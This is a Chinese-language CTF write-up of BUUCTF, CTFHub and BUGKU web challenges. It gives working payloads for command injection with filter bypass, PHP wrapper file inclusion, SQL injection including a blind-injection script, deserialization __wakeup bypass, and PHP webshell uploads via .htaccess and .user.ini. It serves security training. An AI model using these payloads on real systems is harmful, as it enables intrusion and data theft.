BUU_WEB_Note(二)

BUU_WEB_Note(二)

1. [GXYCTF2019] Ping Ping Ping

img

打开后提示传入值为ip

利用管道符查询,输入:?ip=127.0.0.1|ls

img

输入:?ip=127.0.0.1|cat falg.php

img

输入:?ip=127.0.0.1|cat index.php还是一样,怀疑空格符被过滤,改为{$IFS$}还是不行,改为$IFS$1可行

Payload:?ip=127.0.0.1|cta$IFS$1index.php

img

这些是正则匹配的过滤方式,好像过滤的挺多,很多符号都被过滤了。
1.cat fl 利用匹配任意 不行
2.echo “Y2F0IGZsYWcucGhw”| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl’'ag.php 不行

注意:

可见对输入过滤,构造 payload:

法一:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

按键F12可见flag:

img

法二:?ip=127.0.0.1;cat$IFS$1ls

​ 原理:内联执行,反引号里面的语句会优先执行所以同时cat index.php和 flag.php

​ 同样按键F12可见flag

法三:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

​ 原理:Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

​ 同样F12可见flag

2. *[极客大挑战2019] Havefun*

img

F12可见

img

输入payload:?cat=dog

img

3. *[极客大挑战2019]秘密文件*

img

img

​ 访问/Archive_room.php得到:

img

​ 访问./action.php得到:

img

​ 访问secr3t.php 得到:

img

上传file文件参数

可用tp,input,data都被过滤了,可用filter文件过滤器将flag.php文件源码base64编码后输出:

Payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

img

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7OTE4ZDU0MTQtOGFiZC00NjcyLTliZGItOTgzYjgzODA2MWI2fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=ß这个是得到的base64编码,要看可以放大

Base64解码得到网站源码:

img

注意:当可选字符集时要选择utf-8,否则解码内容可能会只显示一部分而看不到flag(情况如下)

img

flag{918d5414-8abd-4672-9bdb-983b838061b6}

4. *[SUCTF 2019] EasySQL*

img

不会做,放弃了,看大佬WP:

由官方wp的解释来看,这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用。

解法1
输入的内容为,1
内置的sql语句为sql="select".post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为
,1,sql语句就变成了select ,1||flag from Flag,也就是select ,1 from Flag,也就是直接查询出了Flag表中的所有内容

解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag

img

5. *[ACTF2020新生赛]包括*

img

img

点击tips进入页面:

img
img

无内容输出,但注意到file参数上传,想到使用filter的payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

得到源码base64编码,解码得到flag:

img

Flag:flag{2d17e8e7-11e3-48fd-96d2-5eadcbd19e9e}

6. *[极客大挑战2019]刀*

img

通过蚁剑拿到shell查看文件得到flag:

img

得到flag:

img

flag{377f8587-d62d-48d7-8f8b-3f8d6ec83248}

7. *[护网杯2018] easy_tornado*

题目要点:ssti(服务端模板注入)

img
img

8. *[RoarCTF 2019]轻松计算*

不会做,直接看WP:

img
查看页面源码
img

打开calc.php:

img

从代码中可以知道绕过waf之后会有一个eval执行函数

利用php的解析特性,绕过防火墙检测。因为php解析GET POST请求的时候会自动过滤掉空格,而防火墙不会。
说一下对于waf的绕过,由于php在执行的时候会自动忽略掉空格字符,包含换行回车等,而waf不可以,所以可以构造一个payload为 ?num=var_dump(scandir(chr(47)))

成功绕过,利用scandir("/")读出目录,不过由于“/”被过滤掉了所以用chr(47)代替,于是有%20num=var_dump(scandir(chr(47)))

img

发现有个f1agg文件,构造payload读取文件

%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[http://node3.buuoj.cn:28202/calc.php/?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))](http://node3.buuoj.cn:28202/calc.php/? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))))

得到flag:

img

flag{1fc9771a-20cd-4ef2-a76a-ce84a792eee8}

9. *[极客大挑战2019] Http*

\地址:******http://node3.buuoj.cn:29107/****

img

转到一个网页,burp抓包

img
img

Burp抓包添加Referer表明访问来源:

img

添加User-agent:Syclover

img

因为只能本地访问,所以添加XFF:X-Forwarded-For:127.0.0.1

img

得到flag:flag{dbbcddbf-c181-411f-bc07-0183c5d1c43f}

10. *[极客大挑战2019] PHP*

img

知识点:备份文件爆破(www.zip)和反序列化

通过脚本得到备份文件名www.zip后访问下载得到,查看

img
img

里面的flag.php为假flag,查看index.php和class.php

img
img

img
传入select参数通过unserialize()函数反序列化,生成一个对象赋值给$res,当反序列化的对象满足username=admin而且password=100

并且要绕过__wakeup()(在放序列化时会被自动调用)函数否则对象的username会被改为guest,

绕过__wakeup()方法:

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

可以不看:

这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。

作用:

sleep()函数相反,sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。

绕过:

当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

上面的代码,序列化后的结果为

O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

其中name后面的2,代表类中有2个属性,但如果我们把2改成3,就会绕过__wakeup()函数。

O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

通过python脚本获得返回的源码内容,直接将payload加到网址后面访问不能得到flag(解决方法为将\0改为%00,原理见下面大佬WP),有时可能无法识别双引号需要改为%22:

没改时:http://95cfd6b5-9757-417b-894f-15de4d7f1e96.node3.buuoj.cn/?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

img

修改后:http://95cfd6b5-9757-417b-894f-15de4d7f1e96.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

img

使用python写脚本:

import requests

url =“http://6f48bda4-c0e3-4ced-b753-c0af9e19b812.node3.buuoj.cn/

html= requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')

print(html.text)

img

---------------------------------------------------------------------------------------------------另外一个大佬的WP--------------------------

引用:浅谈反序列漏洞

魔法函数

通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:

__construct 当一个对象创建时自动调用

__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)

__sleep() 使**用serialize()函数时触发

__wakeup 使用unserialse()**函数时会自动调用

__toString 当一个对象被当作一个字符串被调用。

__call() 在对象上下文中调用不可访问的方法时触发

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据//调用私有属性时使用

__set() 用于将数据写入不可访问的属性

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

产生序列化对象的函数:

<?php

class Name

{

private $username = "yesyesyes";

private $password = "nonono";

public function __construct($username,$password)

{

​ $this->username=$username;

​ $this->password=$password;

}

}

$a = new Name(@admin,100);

//var_dump($a);

//echo "
";

$b = serialize($a);

echo $b."
";//输出序列化

echo urlencode($b);//输出url编码后的序列化

?>

​ 输出:

img

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可:

O:4:"Name":3:{s:14:"Name”:”username";s:5:"admin";s:14:"Namepassword";i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

完整payload::

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

也可以直接用序列化后的url编码。这里要注意,php的urlencode()是会自动把空编码成%00,而Python的parse.quote()不会(php果然是世界上最好的语言~【狗头】)。

11. *[极客大挑战2019]上传*

img

上传文件

注意:当文件里的php语句标签为<?php eval ($_POST[“123”]); ?>时会报错:

img

所以重新构造文件使用一句话木马

Shellshellshell.png:

img

返回:

img

在文件头内容前面加入GIF89a即可上传文件:

img

img

抓包修改文件后缀为php和php会报错php%00.png和php7和html(被当作html文件但不能执行php语句拿到shell)都能上传成功但都被当为png文件,不能利用这个文件得到shell,只有phtml后缀时成功上传且能成功执行里面script标签里的php语句

上传的文件在[原url]/upload可以见到

img

加入shellshellshell.phtml文件复制链接到蚁剑可以获得shell,

img
img

得到flag:

flag{53aa252d-87a6-4a08-9216-529efa7d4812}

12. *[ACTF2020新生赛]上传*

img
上传文件,使用Burp抓包,上传一个php文件:

img

上传一个后缀为.png的文件,抓包修改为.phtml后缀名

img

img

上传文件成功,打开[原url]/uplo4d/fa5fb2c2291739433237078cd2442ab9.phtml

img

成功打开文件,通过蚁剑getshell

img

img

得到flag:

flag{a05c58a2-db5c-4004-b27b-c5820cc498a1}

13. *[ACTF2020新生赛] BackupFile*

img

Backupfile为网站备份文件,结合find out source file可知,查找网页源文件

直接输入:[原url]/index.php.bak

拿到源码:

img

分析:

\1. 传入一个整形参数key(is_numeric()函数判断)

\2. 这个整形函数经过intval()函数转化为10进制数

\3. 将转换后的整数key和字符串123ffws…54w3比较,当相等时输出flag

php中两个等于号是弱等于,弱比较

取str的123与key进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)

构造payload:[题目url]?key=123

img

得到flag:

flag{4c333c4b-8703-43aa-b125-71d672ed0527}

14. *[HCTF 2018]管理员*

img
尝试了各种注入绕过都不能登录admin,切换思路,注册一个非admin帐号进入查看源码看到注释网站进入github网站下载文件分析网站框架,现在能力不足,跳过

15. \BUGKU:******Simple_SSTI_1****

img

传入flag参数

开始试了flag为script标签弹出窗口可行,就想用一句话木马post一个eval的操作数拿到shell但是因为有WAF不能执行命令,所以这个方法不行,而且这个网站不是php网站,是flask网站

payload:?flag={{2*6}}返回12

构造pypload:?flag={{config.items()}}

img

或者从源码提示构造payload:

img

img

原理不懂,由源码构造payload从大佬WP看到的,{{config.items()}}是在一个网站的Flask注入模板看到的,试了一下就出flag了

img

16. *CTFHub:请求方式*

img

BURP抓包修改请求方法为POST,页面改变,

img

结合提示改为CTFHUB:

img

拿到flag:

good job! ctfhub{686207af63a27a22813ff53b}

17. \CTFHub******302****跳转****

img

有三种方法:

wiresahrk抓包

Burp抓包(我是用wireshark解出的题,在burp没见flag,但有大佬的wp用这个方法获得flag)

直接curl得到flag:

直接curl访问index.php,即可得到flag

img

---------------------------------------以下为我的解题过程----------------------------------------------

查看传输文件:

img

发现一个302跳转文件,使用wireshark过滤题目网站的端口号找出这个ico文件

img
过滤端口号命令:tcp.port ==10080

或者根据题目flag格式构造过滤语句:tcp contains “ctfhub{“即可得到包含flag的文件流:

img

找到flag

img

得到flag:

ctfhub{e5fddf1f5624555cae567b65}

18. *CTFHub:cookie*

img

Burp抓包可见:

img

将admin=0改为admin=1

img

得到flag:

ctfhub{2c6154991eb72fc2fc882fc8}

或者直接使用系统的curl

img

19.

下载题目附件得到一个密码列表

img

打开网站看到:

img

img

输入用户名aaa密码aaa抓包测试

img

Base64解码得到用户名密码之间多了个:

img

由此可知应该是爆破amin用户的密码:

爆破导入密码后添加爆破规则:base64编码和在用户名前面加上admin:同时取消最后面的字符url编码,否则提交的符号:会被以编码方式上传导致密码提交错误

img

爆破得到结果:

img

得到flag:

ctfhub{4a885530645f49d8a497e2d5}

20. *.DS_Store*

img

输入.DS_Store

img

弹出下载界面:

img

下载得到文件,用010editor打开:

img

重新复制全文到py,将空格删除后输出:

img

加到网站后得到flag:

img

Flag:

ctfhub{2043981571b01d64c71b91eb}

21. *CTFHub:Log*

22. *[极客大挑战2o19]BabySQL*

img

img

通过报错可知,为单引号闭合

尝试or万能密码但是没用

img

测试发现过滤了or字符,尝试||代替or,成功登录(不过好像没啥用)

img
可以通过双写绕过登录:username=0' oorr 1=1%23

尝试union select但是报错,构造报错语句在

img

发现union和select都被过滤了,再次尝试双写绕过union和select

img

成功注入

img

得到三个字段,并且2和3为回显点

Database()找到库名为geek

爆表出错:

img

构造参数找出解析后的语句

img

Or和from和where都被过滤了,再次尝试双写

img

得到表名,爆字段

img

爆内容(双写password的or)

img

得到flag

flag{f9875281-8559-434c-ad77-1bcf1cac6752}

23. *[BJDCTF2020]Easy MD5*

img

尝试多种类payload都不行,回去看到提示源码网站(尴尬,,误会了,那并不是hint。。。。)

img

下载后打开链接上面的题目文件看到源码:

img

所以传入参数:?password*=*ffifdyop

页面跳转

img

POST传入参数a和b:

​ 方法一:a[]=1&&b[]=2

​ 方法二:a=s155964671a&&b=s214587387a

方法一md5检验返回NULL,第二种MD5解码后得到0e开头两个字符串,php当作科学计数法,0的n次方都为0

页面跳转

img

可以用第一种方法,不能用第二种,因为这里===需要值和类型都完全相同

输入POST参数payload:param1[]=1&¶m2[]=2

img

得到flag:

flag{c53eb0ba-692c-4c47-83ac-a35dc542ccc9}

24. *[HCTF 2018]admin*

巨难,。。。。。。。。

25. *[极客大挑战2019]BuyFlag*

img

菜单有一个payflag

img

img

抓包

img

将user改为1

img

结合提示:

img
构造弱类型比较字符payload:404aaa

Tips:当字符串和数字比较时,会将字符串前面的数字内容和数字比较,如果相等则返true

img

结合首页的显示

img

添加参数money=100000000

img

显示数字太长,使用科学计数法

img

得到flag:

flag{3bfb5d56-85d6-4c63-86ec-d72bb3d969ca}

扩展:

img

原理:

img

当传入的参数不是string时返回0,所以使money为数组类型,会返回0

26. *[sUCTF2o19]Checkln*

源码:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn

img

1.图片放入一句话木马GIF89a<?php eval($_POST[‘shell’]);?>会返回文件包含<?报错

2.使用GIF89a上传一句话木马文件上传失败,一直加载无显示

测试发现php文件名绕过都不行,另外文件上传成功则会输出文件目录和当前文件夹下面的所有文件名,上传的png文件里面有一句话木马则会上传失败

没办法,找大佬WP。。。。。。。。。。

上传一个.user.ini的文件,这个文件是在执行php代码前运行的配置文件,而上传目录下有一个index.php所以访问上传目录下的index.php就会执行.user.ini文件配置

.user.ini写入内容:GIF89a auto_prepen_file=1.gif

Auto_prepend_file相当于require()

img

然后再上传一个一句话木马文件1.gif:GIF89a

img

访问index.php就先把1.gif文件当作php文件执行,所以使用蚁剑连接即可(连接过程可能容易出错因为上传文件目录会不断删除上传目录的文件,多尝试几次即可)

img

查看根目录下的flag文件得到flag:

img

img

得到flag:

flag{f9b6053d-fd40-4c10-af01-b2f2a1189b87}

也可以不使用蚁剑,直接执行命令输出flag:

img

img

27. \[******Z****JCTF2019]NizhuanSiWei****

img

解释:file_get_contens()函数是把$text文件变量读取出来()当$text为非文件时得到的是空字符串

​ Preg_match()函数禁止传入的$file参数里面包含有flag字符串

​ Include()包含文件名为传入的$file参数的文件(题目提示为useless.php)

分析:1.要使$text参数经过file_get_contens()函数读取后为welcome to the zjctf 否则无法继续;

构造payload:?text=data://text/plain;base64, d2VsY29tZSB0byB0aGUgempjdGY=

或者?text=data://text/plain, welcome to the zjctf

img

​ 2.因为有include()函数,所以可以使用文件包含技巧:伪协议php://filter/read=convert.base64-encode/resource=useless.php读取源文件

构造payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

img

Base64解码:

img

分析:1.useless.php文件里有一个Flag类,类里面有一个自动执行的函数function_tostring()判断这个类对象自身的$file参数是否已赋值,若是的话则输出$file参数这个文件的内容(useless.php文件头部提示flag.php)。

​ 2.unserialize()函数会将传入的$password参数反序列化,生成一个Flag对象(前提是包含uesless.php这个文件)

解决:1.将$file参数设置为useless.php使得可以生成Flag对象

​ 2.设置一个页面输出一个序列化的Flag对象,并且这个对象的$file=”flag.php”

img

得到序列化的Flag对象:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

构造payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&*file=useless.php*&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

img

得到回应,PLZ为源码,查看源码得到flag:

img

flag{31e08441-d2ad-4979-801a-cebd236687d0}

28. *[极客大挑战2o19]HardSQL*

img

img

很多字符都被过滤了,并且含有过滤字符如=+||空格*等符号都会输出臭弟弟

但根据报错可知为字符型注入

且输入的注释符要用%23否则无效

img

Payload分析:

\1. 使用()代替空格

\2. 使用updatexml(0x7e,(select……),0x7e)报错注入(0x7e表示~)

\3. 报错注入只能读取到30个字符,使用right函数输出右侧结尾字符

\4. 注意:select后面要用concat否则会报错more than 1 list

img

得到flag:flag{76a94610-fe12-40da-97b8-8a0d5c9df9e9}

29. \Hack*** *World****

img

得到一个注入窗口尝试注入:

img
img

img
img

注入测试后发现需要输入整型并且存在过滤

使用sql注入字符串字典爆破再根据返回得到的字段可知哪些字符串可用:

img
爆破得到过滤的字符串

发现extravalue可用,空格被过滤但()可用

构造POST的payload:id=1^extravalue(0x7e,(select(database())))

img

报错注入失败,回显示,尝试使用脚本进行盲注

import requests
import time
url = 'http://2450477b-cd1e-4489-be91-bd697b6c95fa.node3.buuoj.cn/index.php'
flag = 'Hello, glzjin wants a girlfriend.'
result = ''

for i in range(1, 50):
time.sleep(1)
high = 127
low = 32
mid = (high + low) // 2
while high > low:
payload = "0^if(ascii(substr((select(flag)from(flag)),{index},1))>{char},1,2)".format(index=i, char=mid)
data = {'id': payload}
response = requests.post(url=url, data=data)
if flag in response.text:
low = mid + 1
else:
high = mid
mid = (high + low) // 2
result += chr(mid)
print(result)

得到flag:

img

flag{5f0aa167-28f3-4e60-96ff-8ed24786f566}

30.

img

得到一个登录账户,尝试祟随便输入一下看回显:

img

账户错误,盲猜一下admin和root

输入admin账户返回密码错误

img

确定要使用admin账户

img

这个提示需要base32解密后再base64解密(做题时不知道,后面看别人的(WP才知道这回事)

解码得到:select * from user where username = '$name'

再name参数构造注入语句:

img

成功执行,使用时间盲注脚本爆破得到表名users里面的数据:

Id,username,passwd

其中passwd是一段很长的数字和小写字母,md5解密得到admin的密码,输入账户,登录

方法二:union select联合查询产生虚拟数据

img

让表单产生一个数据1,[admin],[md5加密后的123]

这段数据会上传认证,后台认证到账户为admin,密码正确,得到flag

注意:传入的name数据不能为admin否则会返回原本数据库的admin数据,union select产生的数据虽然一样产生,但是验证的时候只会用原本表单的admin数据导致验证失败(除非用原本表单数据里面的密码)

img

31.

img

上传一个空的jpg文件,返回得到文件存放路径

img

访问没有报错说明确上传在输出的地址

img

上传shellshell.php无输出地址

img

上传shellshell.jpg成功

img

上传一个.htaccess文件让shellshell.jpg以php文件运行:

img
直接上传成功,说明没有进行幻数检测

直接使用蚁剑连接即可得到flag:flag{7d94372a-642b-4dea-84a1-3e93d8730919}

或者上传.htaccess文件使全部jpg文件都以php方式加载:

img

一样直接蚁剑连接shellshell.jpg地址得到flag

32. *[GYCTF2020]Blacklist*

img

输入1’ select user()%23

img

发现select 被过滤了,而且不能使用set预编译,尝试堆叠注入

img

查询字段名

img
、只有一个字段,使用handler句柄读取flag:

img

得到Flag:

flag{de6d299c-86bf-4ce2-b427-b93a9df9ac9e}

大佬的总结:

img

img

33. *[MRCTF2020]Ez_bypass*

img

直接看到源码:

img
分析可知为MD5绕过

之前做过,直接构造payload:

img

拿到flag:flag{ee50313e-ecd0-424e-b518-51e3268467ef}

34. \B******UGKU:Web11****

img

查看源码没啥东西,就是js代码

使用御剑扫描发现一个网站

img

访问是个密码输入窗口

img
密码错误,使用burp爆破得到密码hack

img

输入得到flag

35. \B******UGKU:Web11****

img

*得到一个登陆界面,输入一个账号密码登录提示错误,请联系本地管理员*

\F******12****base****64****解码得到:test****123****

\发送账户为admin,密码为test******123****的请求,****

\Burp抓包,加上请求来源:X******-Forwarded-For: 127.0.0.1****

*返回得到Flag*

img

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇